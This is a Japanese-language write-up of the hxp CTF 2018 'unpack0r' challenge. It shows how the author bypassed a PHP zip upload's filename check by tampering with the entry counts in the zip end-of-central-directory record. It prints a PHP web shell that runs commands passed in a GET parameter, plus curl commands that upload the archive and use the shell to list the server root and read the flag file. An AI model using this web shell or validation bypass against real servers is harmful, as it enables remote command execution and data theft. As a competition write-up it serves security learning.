hxp CTF 2018 Writeup - unpack0r
問題文
unpackbar
Connection:
http://195.201.136.29:8087/

writeup
zipファイルをアップロードすると、ファイル名をチェックして解凍するプログラム。
^[a-z]+$の正規表現でチェックされている。
例えば、.phpのファイルを圧縮してアップロードしても、.がチェックにかかるためNG。
ファイル名のチェックはPHPのZipArchive、解凍はunzipコマンドを使用している。
2つの方式の差異を突く問題だろうか。
$zip->numFilesで、zipファイルが含むファイル数を取得してから、各ファイル名をチェックしている。
$zip->numFilesを偽装すれば、ファイル名のチェックをバイパスできそうだ。
以下のサイトでzipファイルのフォーマットを確認する。
End of central directory recordに、ファイル数を表記する項目がある。
- total number of entries in the central directory on this disk
- total number of entries in the central directory
適当なファイルとPHPのWebShellのファイルをzip圧縮して、上記2項目を改ざんする。
# cat aaa
# cat bbb.php
<?php
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
# zip test.zip aaa bbb.php
adding: aaa (stored 0%)
adding: bbb.php (deflated 20%)
バイナリエディタで変更する。

アップロードしてみる。
# curl http://195.201.136.29:8087/ -F zip=@test.zip files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336
アップロードできた!
あとはWebShellのphpを使ってファイル探索するだけ。
# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G -d "cmd=ls"
aaa
bbb.php
# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=ls ../../../../../"
bin
boot
dev
etc
flag_IVSbATTqgejx9Hn2berSknRO.php
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=cat ../../../../../flag_IVSbATTqgejx9Hn2berSknRO.php"
<?php
'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';
フラグゲット。
hxp{please_ask_gynvael_for_more_details_on_zips_:>}